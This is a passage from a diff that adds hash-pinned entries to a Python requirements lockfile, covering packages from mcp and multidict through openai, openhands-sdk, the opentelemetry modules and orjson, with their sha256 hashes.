--hash=sha256:a123e330ef0853c6e822384873bef7507557d8e4a082961e1defa947aa59ba84 \ + --hash=sha256:a904af0a6162c73e3edcb969eeeb53a63ceeb5d8cf642fade7d39e7963a22ddb \ + --hash=sha256:ad10d3ded218f1039f11a75f8091880239651b52e9bb592ca27de44eed242a48 \ + --hash=sha256:b424c77b206d63d500bcb69fa55ed8d0e6a3774056bdc4839fc9298a7edca171 \ + --hash=sha256:b5a6b3ada725cea8a5e634536b1b01c30bcdcd7f9c6fff4151548d5bf6b3a36c \ + --hash=sha256:ba8062ed2cf21c07a9e295d5b8a2a5ce678b913b45fdf68c32d95d6c1291e0b6 \ + --hash=sha256:ba9527cdd4c926ed0760bc301f6728ef34d841f405abf9d4f959c478421e4efd \ + --hash=sha256:bbcb445fa71794da8f178f0f6d66789a28d7319071af7a496d4d507ed566270d \ + --hash=sha256:bcf3e58998965654fdaff38e58584d8937aa3096ab5354d493c77d1fdd66d7a1 \ + --hash=sha256:c0ef13eaeee5b615fb07c9a7dadb38eac06a0608b41570d8ade51c56539e509d \ + --hash=sha256:cabc348d87e913db6ab4aa100f01b08f481097838bdddf7c7a84b7575b7309ca \ + --hash=sha256:cdb82a876c47801bb54a690c5ae105a46b392ac6099881cdfb9f6e95e4014c6a \ + --hash=sha256:cfad01eed2c2e0c01fd0ecd2ef42c492f7f93902e39a42fc9ee1692961443a29 \ + --hash=sha256:d16a81a06776313e817c951135cf7340a3e91e8c1ff2fac444cfd75fffa04afe \ + --hash=sha256:d8213e09c917a951de9d09ecee036d5c7d36cb6cb7dbaece4c71a60d79fb9798 \ + --hash=sha256:e07c3764494e3776c602c1e78e298937c3315ccc9043ead7e685b7f2b8d47b3c \ + --hash=sha256:e17c96c14e19278594aa4841ec148115f9c7615a47382ecb6b82bd8fea3ab0c8 \ + --hash=sha256:e444a31f8db13eb18ada366ab3cf45fd4b31e4db1236a4448f68778c1d1a5a2f \ + --hash=sha256:e6a2a455bd412959b57a172ce6328d2dd1f01cb2135efda2e4576e8a23fa3b0f \ + --hash=sha256:eaa0a10b7f72326f1372a713e73c3f739b524b3af41feb43e4921cb529f5929a \ + --hash=sha256:eb7972a85c54febfb25b5c4b4f3af4dcc731994c7da0d8a0b4a6eb0640e1d178 \ + --hash=sha256:ee55d3edf80167e48ea11a923c7386f4669df67d7994554387f84e7d8b0a2bf0 \ + --hash=sha256:f3818cb119498c0678015754eba762e0d61e5b52d34c8b13d770f0719f7b1d79 \ + --hash=sha256:f8b3d067f2e40fe93e1ccdd6b2e1d16c43140e76f02fb1319a05cf2b79d99430 \ + --hash=sha256:fcabf5ff6eea076f859677f5f0b6b5c1a51e70a376b0579e0eadef8db48c6b50 +mcp==1.28.1 \ + --hash=sha256:2726bca5e7193f61c5dde8b12500a6de2d9acf6d1a1c0be9e8c2e706437991df \ + --hash=sha256:d51e36a5f5644faea4f85ea649bfffa6bc6c26770d42798ad6a3de3d2ba69683 +mdurl==0.1.2 \ + --hash=sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8 \ + --hash=sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba +more-itertools==10.8.0 \ + --hash=sha256:52d4362373dcf7c52546bc4af9a86ee7c4579df9a8dc268be0a2f949d376cc9b \ + --hash=sha256:f638ddf8a1a0d134181275fb5d58b086ead7c6a72429ad725c67503f13ba30bd +multidict==6.7.0 \ + --hash=sha256:03ca744319864e92721195fa28c7a3b2bc7b686246b35e4078c1e4d0eb5466d3 \ + --hash=sha256:040f393368e63fb0f3330e70c26bfd336656bed925e5cbe17c9da839a6ab13ec \ + --hash=sha256:05047ada7a2fde2631a0ed706f1fd68b169a681dfe5e4cf0f8e4cb6618bbc2cd \ + --hash=sha256:0591b48acf279821a579282444814a2d8d0af624ae0bc600aa4d1b920b6e924b \ + --hash=sha256:07f5594ac6d084cbb5de2df218d78baf55ef150b91f0ff8a21cc7a2e3a5a58eb \ + --hash=sha256:08325c9e5367aa379a3496aa9a022fe8837ff22e00b94db256d3a1378c76ab32 \ + --hash=sha256:08d4379f9744d8f78d98c8673c06e202ffa88296f009c71bbafe8a6bf847d01f \ + --hash=sha256:0934f3843a1860dd465d38895c17fce1f1cb37295149ab05cd1b9a03afacb2a7 \ + --hash=sha256:096f52730c3fb8ed419db2d44391932b63891b2c5ed14850a7e215c0ba9ade36 \ + --hash=sha256:09929cab6fcb68122776d575e03c6cc64ee0b8fca48d17e135474b042ce515cd \ + --hash=sha256:0a13fb8e748dfc94749f622de065dd5c1def7e0d2216dba72b1d8069a389c6ff \ + --hash=sha256:0db4956f82723cc1c270de9c6e799b4c341d327762ec78ef82bb962f79cc07d8 \ + --hash=sha256:123e2a72e20537add2f33a79e605f6191fba2afda4cbb876e35c1a7074298a7d \ + --hash=sha256:14c9e076eede3b54c636f8ce1c9c252b5f057c62131211f0ceeec273810c9721 \ + --hash=sha256:171b73bd4ee683d307599b66793ac80981b06f069b62eea1c9e29c9241aa66b0 \ + --hash=sha256:18706cc31dbf402a7945916dd5cddf160251b6dab8a2c5f3d6d5a55949f676b3 \ + --hash=sha256:19a1d55338ec1be74ef62440ca9e04a2f001a04d0cc49a4983dc320ff0f3212d \ + --hash=sha256:2049be98fb57a31b4ccf870bf377af2504d4ae35646a19037ec271e4c07998aa \ + --hash=sha256:2090d3718829d1e484706a2f525e50c892237b2bf9b17a79b059cb98cddc2f10 \ + --hash=sha256:2397ab4daaf2698eb51a76721e98db21ce4f52339e535725de03ea962b5a3202 \ + --hash=sha256:23bfeee5316266e5ee2d625df2d2c602b829435fc3a235c2ba2131495706e4a0 \ + --hash=sha256:27e0b36c2d388dc7b6ced3406671b401e84ad7eb0656b8f3a2f46ed0ce483718 \ + --hash=sha256:28b37063541b897fd6a318007373930a75ca6d6ac7c940dbe14731ffdd8d498e \ + --hash=sha256:295a92a76188917c7f99cda95858c822f9e4aae5824246bba9b6b44004ddd0a6 \ + --hash=sha256:29fe6740ebccba4175af1b9b87bf553e9c15cd5868ee967e010efcf94e4fd0f1 \ + --hash=sha256:2a7baa46a22e77f0988e3b23d4ede5513ebec1929e34ee9495be535662c0dfe2 \ + --hash=sha256:2d2cfeec3f6f45651b3d408c4acec0ebf3daa9bc8a112a084206f5db5d05b754 \ + --hash=sha256:2f67396ec0310764b9222a1728ced1ab638f61aadc6226f17a71dd9324f9a99c \ + --hash=sha256:30d193c6cc6d559db42b6bcec8a5d395d34d60c9877a0b71ecd7c204fcf15390 \ + --hash=sha256:31bae522710064b5cbeddaf2e9f32b1abab70ac6ac91d42572502299e9953128 \ + --hash=sha256:329aa225b085b6f004a4955271a7ba9f1087e39dcb7e65f6284a988264a63912 \ + --hash=sha256:363eb68a0a59bd2303216d2346e6c441ba10d36d1f9969fcb6f1ba700de7bb5c \ + --hash=sha256:394fc5c42a333c9ffc3e421a4c85e08580d990e08b99f6bf35b4132114c5dcb3 \ + --hash=sha256:3996b50c3237c4aec17459217c1e7bbdead9a22a0fcd3c365564fbd16439dde6 \ + --hash=sha256:39f1719f57adbb767ef592a50ae5ebb794220d1188f9ca93de471336401c34d2 \ + --hash=sha256:3b29b980d0ddbecb736735ee5bef69bb2ddca56eff603c86f3f29a1128299b4f \ + --hash=sha256:3ba3ef510467abb0667421a286dc906e30eb08569365f5cdb131d7aff7c2dd84 \ + --hash=sha256:3bab1e4aff7adaa34410f93b1f8e57c4b36b9af0426a76003f441ee1d3c7e842 \ + --hash=sha256:3d7b6ccce016e29df4b7ca819659f516f0bc7a4b3efa3bb2012ba06431b044f9 \ + --hash=sha256:3da4fb467498df97e986af166b12d01f05d2e04f978a9c1c680ea1988e0bc4b6 \ + --hash=sha256:3e56d780c238f9e1ae66a22d2adf8d16f485381878250db8d496623cd38b22bd \ + --hash=sha256:3e8bfdd0e487acf992407a140d2589fe598238eaeffa3da8448d63a63cd363f8 \ + --hash=sha256:44b546bd3eb645fd26fb949e43c02a25a2e632e2ca21a35e2e132c8105dc8599 \ + --hash=sha256:478cc36476687bac1514d651cbbaa94b86b0732fb6855c60c673794c7dd2da62 \ + --hash=sha256:490dab541a6a642ce1a9d61a4781656b346a55c13038f0b1244653828e3a83ec \ + --hash=sha256:4a0df7ff02397bb63e2fd22af2c87dfa39e8c7f12947bc524dbdc528282c7e34 \ + --hash=sha256:4b73189894398d59131a66ff157837b1fafea9974be486d036bb3d32331fdbf0 \ + --hash=sha256:4b7a9db5a870f780220e931d0002bbfd88fb53aceb6293251e2c839415c1b20e \ + --hash=sha256:4c09703000a9d0fa3c3404b27041e574cc7f4df4c6563873246d0e11812a94b6 \ + --hash=sha256:4d409aa42a94c0b3fa617708ef5276dfe81012ba6753a0370fcc9d0195d0a1fc \ + --hash=sha256:4d72a9a2d885f5c208b0cb91ff2ed43636bb7e345ec839ff64708e04f69a13cc \ + --hash=sha256:4ef089f985b8c194d341eb2c24ae6e7408c9a0e2e5658699c92f497437d88c3c \ + --hash=sha256:51cb455de290ae462593e5b1cb1118c5c22ea7f0d3620d9940bf695cea5a4bd7 \ + --hash=sha256:521f33e377ff64b96c4c556b81c55d0cfffb96a11c194fd0c3f1e56f3d8dd5a4 \ + --hash=sha256:53a42d364f323275126aff81fb67c5ca1b7a04fda0546245730a55c8c5f24bc4 \ + --hash=sha256:5aa873cbc8e593d361ae65c68f85faadd755c3295ea2c12040ee146802f23b38 \ + --hash=sha256:654030da3197d927f05a536a66186070e98765aa5142794c9904555d3a9d8fb5 \ + --hash=sha256:661709cdcd919a2ece2234f9bae7174e5220c80b034585d7d8a755632d3e2111 \ + --hash=sha256:680878b9f3d45c31e1f730eef731f9b0bc1da456155688c6745ee84eb818e90e \ + --hash=sha256:6843b28b0364dc605f21481c90fadb5f60d9123b442eb8a726bb74feef588a84 \ + --hash=sha256:68af405971779d8b37198726f2b6fe3955db846fee42db7a4286fc542203934c \ + --hash=sha256:6b4c3d199f953acd5b446bf7c0de1fe25d94e09e79086f8dc2f48a11a129cdf1 \ + --hash=sha256:6bdce131e14b04fd34a809b6380dbfd826065c3e2fe8a50dbae659fa0c390546 \ + --hash=sha256:716133f7d1d946a4e1b91b1756b23c088881e70ff180c24e864c26192ad7534a \ + --hash=sha256:749a72584761531d2b9467cfbdfd29487ee21124c304c4b6cb760d8777b27f9c \ + --hash=sha256:7516c579652f6a6be0e266aec0acd0db80829ca305c3d771ed898538804c2036 \ + --hash=sha256:79dcf9e477bc65414ebfea98ffd013cb39552b5ecd62908752e0e413d6d06e38 \ + --hash=sha256:7a0222514e8e4c514660e182d5156a415c13ef0aabbd71682fc714e327b95e99 \ + --hash=sha256:7b022717c748dd1992a83e219587aabe45980d88969f01b316e78683e6285f64 \ + --hash=sha256:7bf77f54997a9166a2f5675d1201520586439424c2511723a7312bdb4bcc034e \ + --hash=sha256:7e73299c99939f089dd9b2120a04a516b95cdf8c1cd2b18c53ebf0de80b1f18f \ + --hash=sha256:7ef6b61cad77091056ce0e7ce69814ef72afacb150b7ac6a3e9470def2198159 \ + --hash=sha256:7f5170993a0dd3ab871c74f45c0a21a4e2c37a2f2b01b5f722a2ad9c6650469e \ + --hash=sha256:803d685de7be4303b5a657b76e2f6d1240e7e0a8aa2968ad5811fa2285553a12 \ + --hash=sha256:8891681594162635948a636c9fe0ff21746aeb3dd5463f6e25d9bea3a8a39ca1 \ + --hash=sha256:8a19cdb57cd3df4cd865849d93ee14920fb97224300c88501f16ecfa2604b4e0 \ + --hash=sha256:8a3862568a36d26e650a19bb5cbbba14b71789032aebc0423f8cc5f150730184 \ + --hash=sha256:8b55d5497b51afdfde55925e04a022f1de14d4f4f25cdfd4f5d9b0aa96166851 \ + --hash=sha256:8cfc12a8630a29d601f48d47787bd7eb730e475e83edb5d6c5084317463373eb \ + --hash=sha256:9281bf5b34f59afbc6b1e477a372e9526b66ca446f4bf62592839c195a718b32 \ + --hash=sha256:92abb658ef2d7ef22ac9f8bb88e8b6c3e571671534e029359b6d9e845923eb1b \ + --hash=sha256:94218fcec4d72bc61df51c198d098ce2b378e0ccbac41ddbed5ef44092913288 \ + --hash=sha256:95b5ffa4349df2887518bb839409bcf22caa72d82beec453216802f475b23c81 \ + --hash=sha256:9600082733859f00d79dee64effc7aef1beb26adb297416a4ad2116fd61374bd \ + --hash=sha256:960c60b5849b9b4f9dcc9bea6e3626143c252c74113df2c1540aebce70209b45 \ + --hash=sha256:9b2fd74c52accced7e75de26023b7dccee62511a600e62311b918ec5c168fc2a \ + --hash=sha256:9c0359b1ec12b1d6849c59f9d319610b7f20ef990a6d454ab151aa0e3b9f78ca \ + --hash=sha256:9cf41880c991716f3c7cec48e2f19ae4045fc9db5fc9cff27347ada24d710bb5 \ + --hash=sha256:9d14baca2ee12c1a64740d4531356ba50b82543017f3ad6de0deb943c5979abb \ + --hash=sha256:9f474ad5acda359c8758c8accc22032c6abe6dc87a8be2440d097785e27a9349 \ + --hash=sha256:9fb0211dfc3b51efea2f349ec92c114d7754dd62c01f81c3e32b765b70c45c9b \ + --hash=sha256:9fe04da3f79387f450fd0061d4dd2e45a72749d31bf634aecc9e27f24fdc4b3f \ + --hash=sha256:9ff96e8815eecacc6645da76c413eb3b3d34cfca256c70b16b286a687d013c32 \ + --hash=sha256:a027ec240fe73a8d6281872690b988eed307cd7d91b23998ff35ff577ca688b5 \ + --hash=sha256:a048ce45dcdaaf1defb76b2e684f997fb5abf74437b6cb7b22ddad934a964e34 \ + --hash=sha256:a265acbb7bb33a3a2d626afbe756371dce0279e7b17f4f4eda406459c2b5ff1c \ + --hash=sha256:a35c5fc61d4f51eb045061e7967cfe3123d622cd500e8868e7c0c592a09fedc4 \ + --hash=sha256:a37bd74c3fa9d00be2d7b8eca074dc56bd8077ddd2917a839bd989612671ed17 \ + --hash=sha256:a60a4d75718a5efa473ebd5ab685786ba0c67b8381f781d1be14da49f1a2dc60 \ + --hash=sha256:a6ef16328011d3f468e7ebc326f24c1445f001ca1dec335b2f8e66bed3006394 \ + --hash=sha256:a90af66facec4cebe4181b9e62a68be65e45ac9b52b67de9eec118701856e7ff \ + --hash=sha256:ad9ce259f50abd98a1ca0aa6e490b58c316a0fce0617f609723e40804add2c00 \ + --hash=sha256:afa8a2978ec65d2336305550535c9c4ff50ee527914328c8677b3973ade52b85 \ + --hash=sha256:b15b3afff74f707b9275d5ba6a91ae8f6429c3ffb29bbfd216b0b375a56f13d7 \ + --hash=sha256:b284e319754366c1aee2267a2036248b24eeb17ecd5dc16022095e747f2f4304 \ + --hash=sha256:b2d7f80c4e1fd010b07cb26820aae86b7e73b681ee4889684fb8d2d4537aab13 \ + --hash=sha256:b3bc26a951007b1057a1c543af845f1c7e3e71cc240ed1ace7bf4484aa99196e \ + --hash=sha256:b3e34f3a1b8131ba06f1a73adab24f30934d148afcd5f5de9a73565a4404384e \ + --hash=sha256:b4121773c49a0776461f4a904cdf6264c88e42218aaa8407e803ca8025872792 \ + --hash=sha256:b61189b29081a20c7e4e0b49b44d5d44bb0dc92be3c6d06a11cc043f81bf9329 \ + --hash=sha256:b6234e14f9314731ec45c42fc4554b88133ad53a09092cc48a88e771c125dadb \ + --hash=sha256:b8512bac933afc3e45fb2b18da8e59b78d4f408399a960339598374d4ae3b56b \ + --hash=sha256:ba672b26069957ee369cfa7fc180dde1fc6f176eaf1e6beaf61fbebbd3d9c000 \ + --hash=sha256:bee7c0588aa0076ce77c0ea5d19a68d76ad81fcd9fe8501003b9a24f9d4000f6 \ + --hash=sha256:c04a328260dfd5db8c39538f999f02779012268f54614902d0afc775d44e0a62 \ + --hash=sha256:c1dcc7524066fa918c6a27d61444d4ee7900ec635779058571f70d042d86ed63 \ + --hash=sha256:c6e99d9a65ca282e578dfea819cfa9c0a62b2499d8677392e09feaf305e9e6f5 \ + --hash=sha256:ca43bdfa5d37bd6aee89d85e1d0831fb86e25541be7e9d376ead1b28974f8e5e \ + --hash=sha256:caf53b15b1b7df9fbd0709aa01409000a2b4dd03a5f6f5cc548183c7c8f8b63c \ + --hash=sha256:cc41db090ed742f32bd2d2c721861725e6109681eddf835d0a82bd3a5c382827 \ + --hash=sha256:cd240939f71c64bd658f186330603aac1a9a81bf6273f523fca63673cb7378a8 \ + --hash=sha256:ce8fdc2dca699f8dbf055a61d73eaa10482569ad20ee3c36ef9641f69afa8c91 \ + --hash=sha256:d1bed1b467ef657f2a0ae62844a607909ef1c6889562de5e1d505f74457d0b96 \ + --hash=sha256:d1d964afecdf3a8288789df2f5751dc0a8261138c3768d9af117ed384e538fad \ + --hash=sha256:d4393e3581e84e5645506923816b9cc81f5609a778c7e7534054091acc64d1c6 \ + --hash=sha256:d874eb056410ca05fed180b6642e680373688efafc7f077b2a2f61811e873a40 \ + --hash=sha256:db99677b4457c7a5c5a949353e125ba72d62b35f74e26da141530fbb012218a7 \ + --hash=sha256:dd32a49400a2c3d52088e120ee00c1e3576cbff7e10b98467962c74fdb762ed4 \ + --hash=sha256:df0e3bf7993bdbeca5ac25aa859cf40d39019e015c9c91809ba7093967f7a648 \ + --hash=sha256:e011555abada53f1578d63389610ac8a5400fc70ce71156b0aa30d326f1a5064 \ + --hash=sha256:e2862408c99f84aa571ab462d25236ef9cb12a602ea959ba9c9009a54902fc73 \ + --hash=sha256:e3aa16de190d29a0ea1b48253c57d99a68492c8dd8948638073ab9e74dc9410b \ + --hash=sha256:e93a0617cd16998784bf4414c7e40f17a35d2350e5c6f0bd900d3a8e02bd3762 \ + --hash=sha256:ea3334cabe4d41b7ccd01e4d349828678794edbc2d3ae97fc162a3312095092e \ + --hash=sha256:eb866162ef2f45063acc7a53a88ef6fe8bf121d45c30ea3c9cd87ce7e191a8d4 \ + --hash=sha256:ec81878ddf0e98817def1e77d4f50dae5ef5b0e4fe796fae3bd674304172416e \ + --hash=sha256:efbb54e98446892590dc2458c19c10344ee9a883a79b5cec4bc34d6656e8d546 \ + --hash=sha256:f0e77e3c0008bc9316e662624535b88d360c3a5d3f81e15cf12c139a75250046 \ + --hash=sha256:f0feece2ef8ebc42ed9e2e8c78fc4aa3cf455733b507c09ef7406364c94376c6 \ + --hash=sha256:f470f68adc395e0183b92a2f4689264d1ea4b40504a24d9882c27375e6662bb9 \ + --hash=sha256:f844a1bbf1d207dd311a56f383f7eda2d0e134921d45751842d8235e7778965d \ + --hash=sha256:f8a93b1c0ed2d04b97a5e9336fd2d33371b9a6e29ab7dd6503d63407c20ffbaf \ + --hash=sha256:f8e5c0031b90ca9ce555e2e8fd5c3b02a25f14989cbc310701823832c99eb687 \ + --hash=sha256:fb287618b9c7aa3bf8d825f02d9201b2f13078a5ed3b293c8f4d953917d84d5e \ + --hash=sha256:fbafe31d191dfa7c4c51f7a6149c9fb7e914dcf9ffead27dcfd9f1ae382b3885 \ + --hash=sha256:fbd18dc82d7bf274b37aa48d664534330af744e03bccf696d6f4c6042e7d19e7 +oauthlib==3.3.1 \ + --hash=sha256:0f0f8aa759826a193cf66c12ea1af1637f87b9b4622d46e866952bb022e538c9 \ + --hash=sha256:88119c938d2b8fb88561af5f6ee0eec8cc8d552b7bb1f712743136eb7523b7a1 +ollama==0.6.0 \ + --hash=sha256:534511b3ccea2dff419ae06c3b58d7f217c55be7897c8ce5868dfb6b219cf7a0 \ + --hash=sha256:da2b2d846b5944cfbcee1ca1e6ee0585f6c9d45a2fe9467cbcd096a37383da2f +openai==2.33.0 \ + --hash=sha256:03ac37d70e8c9e3a8124214e3afa785e2cbc12e627fbd98177a086ef2fd87ad5 \ + --hash=sha256:f850c435e2a4685bba3295bd54912dd26315d9c1b7733068186134d6e0599f9a +openapi-pydantic==0.5.1 \ + --hash=sha256:a3a09ef4586f5bd760a8df7f43028b60cafb6d9f61de2acba9574766255ab146 \ + --hash=sha256:ff6835af6bde7a459fb93eb93bb92b8749b754fc6e51b2f1590a19dc3005ee0d +openhands-sdk @ https://files.pythonhosted.org/packages/eb/5a/359d6a4b892fccd4915879d3145d77735b0e5614eee7db7b2a11ae99a843/openhands_sdk-1.50.0-py3-none-any.whl \ + --hash=sha256:441ea190fb0af2253bf431650f209fedfbb9eb7c41cf35440a0548296d4b0faa +openhands-tools @ https://files.pythonhosted.org/packages/97/b2/61c9b0029d46de429890527f47c1809f6badc1c386bfcb4dd17286166108/openhands_tools-1.50.0-py3-none-any.whl \ + --hash=sha256:b237043c892111624fdc1fe98e0d29f772ae1f614b487866d926775167c9635e +opentelemetry-api==1.39.1 \ + --hash=sha256:2edd8463432a7f8443edce90972169b195e7d6a05500cd29e6d13898187c9950 \ + --hash=sha256:fbde8c80e1b937a2c61f20347e91c0c18a1940cecf012d62e65a7caf08967c9c +opentelemetry-exporter-otlp-proto-common==1.39.1 \ + --hash=sha256:08f8a5862d64cc3435105686d0216c1365dc5701f86844a8cd56597d0c764fde \ + --hash=sha256:763370d4737a59741c89a67b50f9e39271639ee4afc999dadfe768541c027464 +opentelemetry-exporter-otlp-proto-grpc==1.39.1 \ + --hash=sha256:772eb1c9287485d625e4dbe9c879898e5253fea111d9181140f51291b5fec3ad \ + --hash=sha256:fa1c136a05c7e9b4c09f739469cbdb927ea20b34088ab1d959a849b5cc589c18 +opentelemetry-exporter-otlp-proto-http==1.39.1 \ + --hash=sha256:31bdab9745c709ce90a49a0624c2bd445d31a28ba34275951a6a362d16a0b9cb \ + --hash=sha256:d9f5207183dd752a412c4cd564ca8875ececba13be6e9c6c370ffb752fd59985 +opentelemetry-instrumentation==0.60b1 \ + --hash=sha256:04480db952b48fb1ed0073f822f0ee26012b7be7c3eac1a3793122737c78632d \ + --hash=sha256:57ddc7974c6eb35865af0426d1a17132b88b2ed8586897fee187fd5b8944bd6a +opentelemetry-instrumentation-threading==0.60b1 \ + --hash=sha256:20b18a68abe5801fa9474336b7c27487d4af3e00b66f6a8734e4fdd75c8b0b43 \ + --hash=sha256:92a52a60fee5e32bc6aa8f5acd749b15691ad0bc4457a310f5736b76a6d9d1de +opentelemetry-proto==1.39.1 \ + --hash=sha256:22cdc78efd3b3765d09e68bfbd010d4fc254c9818afd0b6b423387d9dee46007 \ + --hash=sha256:6c8e05144fc0d3ed4d22c2289c6b126e03bcd0e6a7da0f16cedd2e1c2772e2c8 +opentelemetry-sdk==1.39.1 \ + --hash=sha256:4d5482c478513ecb0a5d938dcc61394e647066e0cc2676bee9f3af3f3f45f01c \ + --hash=sha256:cf4d4563caf7bff906c9f7967e2be22d0d6b349b908be0d90fb21c8e9c995cc6 +opentelemetry-semantic-conventions==0.60b1 \ + --hash=sha256:87c228b5a0669b748c76d76df6c364c369c28f1c465e50f661e39737e84bc953 \ + --hash=sha256:9fa8c8b0c110da289809292b0591220d3a7b53c1526a23021e977d68597893fb +opentelemetry-semantic-conventions-ai==0.4.13 \ + --hash=sha256:883a30a6bb5deaec0d646912b5f9f6dcbb9f6f72557b73d0f2560bf25d13e2d5 \ + --hash=sha256:94efa9fb4ffac18c45f54a3a338ffeb7eedb7e1bb4d147786e77202e159f0036 +orjson==3.11.7 \ + --hash=sha256:043d3006b7d32c7e233b8cfb1f01c651013ea079e08dcef7189a29abd8befe11 \ + --hash=sha256:0527a4510c300e3b406591b0ba69b5dc50031895b0a93743526a3fc45f59d26e \ + --hash=sha256:0724e265bc548af1dedebd9cb3d24b4e1c1e685a343be43e87ba922a5c5fff2f \ + --hash=sha256:136dcd6a2e796dfd9ffca9fc027d778567b0b7c9968d092842d3c323cef88aa8 \ + --hash=sha256:14f440c7268c8f8633d1b3d443a434bd70cb15686117ea6beff8fdc8f5917a1e \ + --hash=sha256:1d98b30cc1313d52d4af17d9c3d307b08389752ec5f2e5febdfada70b0f8c733 \ + --hash=sha256:1eb80451a9c351a71dfaf5b7ccc13ad065405217726b59fdbeadbcc544f9d223 \ + --hash=sha256:1ee5cc7160a821dfe14f130bc8e63e7611051f964b463d9e2a3a573204446a4d \ + --hash=sha256:23d6c20517a97a9daf1d48b580fcdc6f0516c6f4b5038823426033690b4d2650 \ + --hash=sha256:26c3b9132f783b7d7903bf1efb095fed8d4a3a85ec0d334ee8beff3d7a4749d5 \ + --hash=sha256:31c80ce534ac4ea3739c5ee751270646cbc46e45aea7576a38ffec040b4029a1 \ + --hash=sha256:3726be79e36e526e3d9c1aceaadbfb4a04ee80a72ab47b3f3c17fefb9812e7b8 \ + --hash=sha256:390a1dce0c055ddf8adb6aa94a73b45a4a7d7177b5c584b8d1c1947f2ba60fb3 \ + --hash=sha256:3a2479753bbb95b0ebcf7969f562cdb9668e6d12416a35b0dda79febf89cdea2 \ + --hash=sha256:3c4bc6c6ac52cdaa267552544c73e486fecbd710b7ac09bc024d5a78555a22f6 \ + --hash=sha256:411ebaf34d735e25e358a6d9e7978954a9c9d58cfb47bc6683cdc3964cd2f910 \ + --hash=sha256:4682d1db3bcebd2b64757e0ddf9e87ae5f00d29d16c5cdf3a62f561d08cc3dd2 \ + --hash=sha256:4a2e9c5be347b937a2e0203866f12bba36082e89b402ddb9e927d5822e43088d \ + --hash=sha256:57036b27ac8a25d81112eb0cc9835cd4833c5b16e1467816adc0015f59e870dc \ + --hash=sha256:5ede977b5fe5ac91b1dffc0a517ca4542d2ec8a6a4ff7b2652d94f640796342a \ + --hash=sha256:5fdfad2093bdd08245f2e204d977facd5f871c88c4a71230d5bcbd0e43bf6222 \ + --hash=sha256:623ad1b9548ef63886319c16fa317848e465a21513b31a6ad7b57443c3e0dcf5 \ + --hash=sha256:652c6c3af76716f4a9c290371ba2e390ede06f6603edb277b481daf37f6f464e \ + --hash=sha256:6543001328aa857187f905308a028935864aefe9968af3848401b6fe80dbb471 \ + --hash=sha256:6e776b998ac37c0396093d10290e60283f59cfe0fc3fccbd0ccc4bd04dd19892 \ + --hash=sha256:71924496986275a737f38e3f22b4e0878882b3f7a310d2ff4dc96e812789120c \ + --hash=sha256:733ae23ada68b804b222c44affed76b39e30806d38660bf1eb200520d259cc16 \ + --hash=sha256:7477aa6a6ec6139c5cb1cc7b214643592169a5494d200397c7fc95d740d5fcf3 \ + --hash=sha256:79cacb0b52f6004caf92405a7e1f11e6e2de8bdf9019e4f76b44ba045125cd6b \ + --hash=sha256:7ba61079379b0ae29e117db13bda5f28d939766e410d321ec1624afc6a0b0504 \ + --hash=sha256:800988273a014a0541483dc81021247d7eacb0c845a9d1a34a422bc718f41539 \ + --hash=sha256:814be4b49b228cfc0b3c565acf642dd7d13538f966e3ccde61f4f55be3e20785 \ + --hash=sha256:845c3e0d8ded9c9271cd79596b9b552448b885b97110f628fb687aee2eed11c1 \ + --hash=sha256:849e38203e5be40b776ed2718e587faf204d184fc9a008ae441f9442320c0cab \ + --hash=sha256:89e13dd3f89f1c38a9c9eba5fbf7cdc2d1feca82f5f290864b4b7a6aac704576 \ + --hash=sha256:89e440ebc74ce8ab5c7bc4ce6757b4a6b1041becb127df818f6997b5c71aa60b \ + --hash=sha256:8ff206156006da5b847c9304b6308a01e8cdbc8cce824e2779a5ba71c3def141 \ + --hash=sha256:91c81ef070c8f3220054115e1ef468b1c9ce8497b4e526cb9f68ab4dc0a7ac62 \ + --hash=sha256:9487abc2c2086e7c8eb9a211d2ce8855bae0e92586279d0d27b341d5ad76c85c \ + --hash=sha256:962d046ee1765f74a1da723f4b33e3b228fe3a48bd307acce5021dfefe0e29b2 \ + --hash=sha256:996b65230271f1a97026fd0e6a753f51fbc0c335d2ad0c6201f711b0da32693b \ + --hash=sha256:9b1a67243945819ce55d24a30b59d6a168e86220452d2c96f4d1f093e71c0c49 \ + --hash=sha256:9c0b51672e466fd7e56230ffbae7f1639e18d0ce023351fb75da21b71bc2c960 \ + --hash=sha256:9e54f3808e2b6b945078c41aa8d9b5834b28c50843846e97807e5adb75fa9705 \ + --hash=sha256:a02c833f38f36546ba65a452127633afce4cf0dd7296b753d3bb54e55e5c0174 \ + --hash=sha256:a12b80df61aab7b98b490fe9e4879925ba666fccdfcd175252ce4d9035865ace \ + --hash=sha256:a16bcd08ab0bcdfc7e8801d9c4a9cc17e58418e4d48ddc6ded4e9e4b1a94062b \ + --hash=sha256:a56df3239294ea5964adf074c54bcc4f0ccd21636049a2cf3ca9cf03b5d03cf1 \ + --hash=sha256:a709e881723c9b18acddcfb8ba357322491ad553e277cf467e1e7e20e2d90561 \ + --hash=sha256:ab49d4b2a6a1d415ddb9f37a21e02e0d5dbfe10b7870b21bf779fc21e9156157 \ + --hash=sha256:ae9e0b37a834cef7ce8f99de6498f8fad4a2c0bf6bfc3d02abd8ed56aa15b2de \ + --hash=sha256:b4a9eefdc70bf8bf9857f0290f973dec534ac84c35cd6a7f4083be43e7170a8f \ + --hash=sha256:b63c6e6738d7c3470ad01601e23376aa511e50e1f3931395b9f9c722406d1a67 \ + --hash=sha256:b7b1dae39230a393df353827c855a5f176271c23434cfd2db74e0e424e693e10 \ + --hash=sha256:b8d14b71c0b12963fe8a62aac87119f1afdf4cb88a400f61ca5ae581449efcb5 \ + --hash=sha256:b9f95dcdea9d4f805daa9ddf02617a89e484c6985fa03055459f90e87d7a0757 \ + --hash=sha256:b9fc4d0f81f394689e0814617aadc4f2ea0e8025f38c226cbf22d3b5ddbf025d \ + --hash=sha256:bd03ea7606833655048dab1a00734a2875e3e86c276e1d772b2a02556f0d895f \ + --hash=sha256:bd0d68edd7dfca1b2eca9361a44ac9f24b078de3481003159929a0573f21a6bf \ + --hash=sha256:bda117c4148e81f746655d5a3239ae9bd00cb7bc3ca178b5fc5a5997e9744183 \ + --hash=sha256:bf742e149121dc5648ba0a08ea0871e87b660467ef168a3a5e53bc1fbd64bb74 \ + --hash=sha256:c2428d358d85e8da9d37cba18b8c4047c55222007a84f97156a5b22028dfbfc0 \ + --hash=sha256:c2e85fe4698b6a56d5e2ebf7ae87544d668eb6bde1ad1226c13f44663f20ec9e \ + 